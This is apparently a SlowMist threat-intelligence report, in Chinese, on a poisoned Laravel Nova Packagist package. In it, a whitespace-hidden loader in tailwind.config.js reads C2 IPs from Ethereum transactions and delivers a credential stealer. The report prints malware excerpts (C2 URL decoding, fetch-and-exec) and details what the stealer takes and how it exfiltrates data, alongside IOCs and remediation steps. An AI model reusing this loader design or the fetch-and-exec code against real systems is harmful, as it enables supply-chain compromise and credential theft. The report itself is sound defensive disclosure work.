威胁情报|PolinRider 投毒 Nova,链上交易充当 C2 管理器

PolinRider 投毒 Laravel Nova 扩展包,通过链上交易获取 C2,并投递跨平台凭据窃取器。

文章作者、来源:慢雾科技 SlowMist

背景

样本来自 Laravel Nova 扩展包 `visanduma/nova-two-factor` 的一个开发分支,归属于 PolinRider 活动。这是一个 PHP 包,发布在 Packagist 上,截至本文分析时累计下载量已超过 70 万次。

投递链不把 C2 地址写进样本。植入代码先查询以太坊,从一笔交易的接收地址里解出两台服务器的 IP,再通过 HTTP 取回后续载荷。攻击者要换服务器,只需在链上发一笔新交易,不必重新投毒这个包。

这条链的终点是一份跨平台凭据窃取器,采集浏览器账号与 Cookie、加密钱包数据、密码管理器数据库和开发凭据。

本次取得的远端载荷由本轮实际请求取得并离线解码,解码只做 XOR、zlib 与 base64 变换,未执行任何下载内容。分析结论来自静态代码与远端响应,尚无受害端证据证明这些窃取行为已成功发生。

MistEye 响应

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。

MistEye 已第一时间通过情报推送与客户告警通道同步风险。

以下为详细技术分析。

攻击链

上图是依据代码与抓取结果还原的关系图。

从一行配置到链上定位

植入代码藏在配置文件的末尾。文件前 10 行是正常的 Tailwind 配置,第 11 行以正常的 }; 收尾,随后是 507 个空格,空格之后才开始执行代码。这一串空格能让窄窗口只显示看似正常的结尾,但并没有改变 JavaScript 的执行语义,给 module.exports 赋值不会终止模块执行。触发点也在样本里:package.json 的 development、watch、production 等脚本都指向 Laravel Mix,webpack.mix.js 把 tailwind.config.js 作为配置路径传给 PostCSS 插件,Tailwind 3.1.8 在 setupTrackingContext.js 中通过 require(userConfigPath) 读取该配置,这一步会执行配置模块的顶层代码。

加载器通过以太坊交易获取当前 C2 地址。攻击者将两个 IPv4 地址编码在交易接收地址中,样本从固定发送地址的交易里提取这些信息,再通过 HTTP 下载后续载荷。这样,攻击者可以发布新交易来更新投递服务器地址,无需修改已经植入的配置文件。

植入代码先初始化自己的全局变量,再执行链上查询。查询读的是交易的 to 字段:去掉 0x 前缀按十六进制还原成 20 字节,前 4 字节是一个 IPv4,第 4 到 8 字节是第二个,剩下 12 字节这段代码不用。本轮实际解出的结果是 166[.]88[.]134[.]75,两个 IP 相同,尾部 12 字节是明文标记 helloipbot!!。

const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ""), "hex"),
   ip = b => b[0] + "." + b[1] + "." + b[2] + "." + b[3],
   [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];
 g._t_s = `http://${o}:443`;
 g._H   = `http://${o}:80`;
 g._H2  = `http://${r}:80`;

加载器围绕每千个区块的边界查询候选交易,从这些交易里取出编码的 C2 地址。链上数据显示这套查询依赖攻击者维持心跳:每个千位边界附近都有一笔新交易,本轮拉取的 392 笔全部是零转账、空 calldata,gasUsed 都是 21000,唯一携带的信息就是 to 地址本身。地址还会定期更换,最近五个周期依次对应 166[.]88[.]134[.]62、23[.]27[.]13[.]135、166[.]88[.]73[.]46、193[.]247[.]144[.]38,以及本轮的 166[.]88[.]134[.]75。

定位完成后,代码向解出的 IP 的 443 端口发起请求,取回 /0x/cls 与 /0x/ls 两条路径。这里有一个容易被端口号带偏的细节:URL 的 scheme 是 http:,调用的是 http.request,443 只是端口,没有 TLS。两条载荷经循环 XOR 解码后交给同一个执行函数,在脱离的 Node 子进程中运行。/0x/cls 那一路还会在起子进程之前,先在当前进程里求值一次;若这次求值抛错、退出进程或一直不返回,后面的子进程就不一定到达。

值得一提的是,我们使用 MistTrack 对恶意地址 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a 进行分析,其初始资金来自 FixedFloat。

三件工具,三种职责

两条加载路径最终对应三个组件,接口数量多于组件数量,因为部分接口用不同编码或备用路径提供同一份内容:/0x/clb 响应中的 body 字段与 /0x/cb 响应正文,经各自解码后得到相同代码;/0x/js 与响应里的 inz 字段逐字节相同。

/0x/cls 拉回的是远控组件 clb,带 Socket.IO 指令通道,可以按操作者指定的地址取回 Python 并执行。负责获取并执行 clb 的加载器 cls 还包含失败回传逻辑:一旦出错,就把 os.hostname()、os.userInfo().username、os.type()、os.release() 拼成文本,POST 到 /verify-human/<标记>。

同一个响应里的 inz 字段,以及 /0x/js 单独提供的副本,是再感染加载器 inz。它用多层字符串编码、数组状态驱动的控制流扁平化和间接函数分发做混淆。静态展开后可以看到,它自带一套链上定位逻辑,用的是同一个以太坊发送方地址和同样的 to 字段到 IPv4 换算,并自行请求 /0x/cls 取回远控组件,取得后在当前进程或脱离的子进程里执行。远控组件 clb 另外具备把它写进宿主应用脚本的能力;宿主日后加载到这段代码,就会重新进入这条定位与加载流程。

/0x/ls 那一路取回 Python 加载组件 boot。静态还原显示,boot 会将部分环境变量上传到 /snv,并启动 Python 下载后续载荷。

url = f'{{GLOBAL_H}}/$/{id}'        # id 固定为 '1' Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')
 exec(Request._code)

urlopen 失败时回退到系统 curl,两条路径拿到的文本都不做任何校验就交给 exec。

本轮请求这些路径时,服务器给出了不一致的回应。HEAD /$/1 返回 404,GET /$/1 返回 200 和 36,485 字节正文,Last-Modified 每次都等于该次请求的时刻。同样的方式请求 /d/python.zip、/d/python.7z、/d/7zr.exe 三个路径,全部返回 500。

跨平台凭据窃取器

本次取得的最后一阶段载荷经 Base64 解码和 zlib 解压后,是一份 89,149 字节的 Python 脚本。

该载荷面向执行账户可访问的敏感数据,既包含登录凭据的提取与解密逻辑,也会直接复制钱包、密码管理器和开发工具的数据文件。代码中的采集目标主要分为以下五类。

  • 浏览器账户、会话与支付信息:覆盖 Chrome、Edge、Brave、Arc 等 Chromium 系浏览器与 Firefox,读取登录、Cookie 和 Web Data 数据库并尝试解密导出,部分 Chromium 路径还涉及支付卡数据,另含 Firefox 配置与扩展数据的复制逻辑。
  • 加密钱包及钱包应用数据:Exodus、Electrum、Atomic、Monero 等钱包文件,Solana 的 id.json,MetaMask、Phantom 等扩展存储,以及 Ledger Live、Trezor Suite 的桌面应用数据;按预设路径和扩展 ID 搜索并复制文件或目录。
  • 密码管理器数据:1Password、Bitwarden、NordPass、KeePass/KeePassXC、Dashlane、LastPass 等应用与扩展的本地数据库、缓存及配置;复制匹配的文件和目录,部分 SQLite 数据库连同日志文件一起收集。
  • 开发凭据与环境变量:Git 凭据文件、GitHub CLI 的 hosts.yml、VS Code 本地状态、GitHub Desktop 日志,以及当前进程环境变量;复制文件并把环境变量导出为 JSON 和文本,其中可能包含开发或构建环境注入的访问令牌。
  • 系统凭据存储:Windows 凭据管理器,以及 Linux Secret Service 默认集合中的条目;调用系统接口枚举并尝试读取当前账户可访问的凭据内容。

对浏览器数据,样本既会复制原始数据库,也包含调用 Windows DPAPI、macOS Keychain 及 Linux Secret Service/KWallet 获取解密材料、尝试还原敏感字段并导出明文的逻辑。实际能否成功,取决于所需密钥或解密接口是否可用、访问授权以及浏览器数据格式是否兼容。

样本还会搜索 /mnt/*/Users/*/AppData/... 等路径,尝试读取挂载的 Windows 用户目录。因此,采集范围可能延伸至当前账户能够访问的其他系统分区,实际可读取内容仍受挂载状态与文件权限限制。

采集结果被写入本地目录并打包。样本向 /u/e 上报主机信息和采集计数,并读取响应中的 Telegram 上传参数;随后通过 /u/f 上传归档,或在满足代码条件时调用 Telegram sendDocument。上传逻辑包含重试、主机切换和分片处理,成功后会尝试删除本地归档。

这份代码还带两处自我限制。响应码为 429 时直接退出。Blocked (BOT) 是另一处:样本在未命中其 WSL2 标识的 Linux 环境中,若系统凭据计数、扩展计数及 Firefox profile 计数均为零,就记录该标记并跳过后续主要采集与上传流程。走到这个判断之前,样本已经执行过环境变量导出、系统凭据枚举和部分目录扫描。

总结

已确认的是一整条从构建配置到凭据窃取器的投递链。入口是一段追加进 tailwind.config.js 的加载器,由前端构建触发。定位不依赖域名,读的是以太坊上一笔交易的 to 地址。第三阶段由三个组件构成:远控组件 clb、再感染加载器 inz,以及负责向 Python 延伸的加载组件 boot。终点是一份窃取器,覆盖三个平台,目标包括浏览器凭据、加密钱包、密码管理器与开发凭据。

风险落在运行前端构建的开发机、构建容器与 CI runner 上。只要在那台机器上执行过该项目的构建,加载器就有机会运行;而窃取器一旦执行,执行账户权限范围内可访问的浏览器凭据、钱包文件和 GitHub token 都可能被读取。

建议

1. 排查下游项目的 composer.lock,确认 visanduma/nova-two-factor 是否落在 dev-nova5 等恶意版本上,并对该包任一时点的源码快照按文件哈希核对 tailwind.config.js。

2. 在受影响的开发机与 CI runner 上检索构建期间的网络记录。项目构建时,Node 进程会向多个以太坊 RPC 发起 JSON-RPC 请求,也会向裸 IP 443 端口发送明文 HTTP,请求中还带 Sec-V 头。

3. 检查进程命令行中是否存在 node -e 且前缀含 global['_V'],以及由 py -c 启动的 Python 进程;直接求值的那一路不产生新进程,只查 node -e 会漏掉这一类执行。

4. 若确认构建曾成功执行,按主机失陷处理。在干净环境中轮换该机器上出现过的浏览器主密码、钱包助记词与私钥、GitHub CLI token 及其他版本控制凭据,并审计近期对这些账号的访问。

5. 保留现场的 composer.lock、本地 Git 对象与 reflog、构建时间、当时的 Node 版本以及原始 HTTP 请求响应,避免在排查完成前更新依赖或重建。

6. 网络侧阻断以本文 IOC 章节的 IP 为准,不要按 Telegram 域名无差别封禁,那是被借用的公开服务。同时不要止步于 IP:结合主机与账户排查,检查构建机上是否残留打包归档、环境变量导出文件与异常外连记录。

IOC

IP

166[.]88[.]134[.]75

166[.]88[.]134[.]62

23[.]27[.]13[.]135

166[.]88[.]73[.]46

193[.]247[.]144[.]38

钱包地址

0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

恶意依赖

Packagist:visanduma/nova-two-factor@dev-nova4support

Packagist:visanduma/nova-two-factor@dev-main

Packagist:visanduma/nova-two-factor@dev-using-inertia

Packagist:visanduma/nova-two-factor@dev-nova5

恶意文件

filename: tailwind.config.js

SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a

参考

https://socket.dev/blog/polinrider-github-packagist

关于 MistEye

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。

本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。

📖 API 文档:https://app.misteye.io/api-docs

🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan

轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态

🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills

AI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测

🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-Guard

DNS 安全防护工具,检测恶意域名与风险访问,识别钓鱼、C2 等网络威胁

本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI 驱动分析编写,有任何问题欢迎咨询反馈。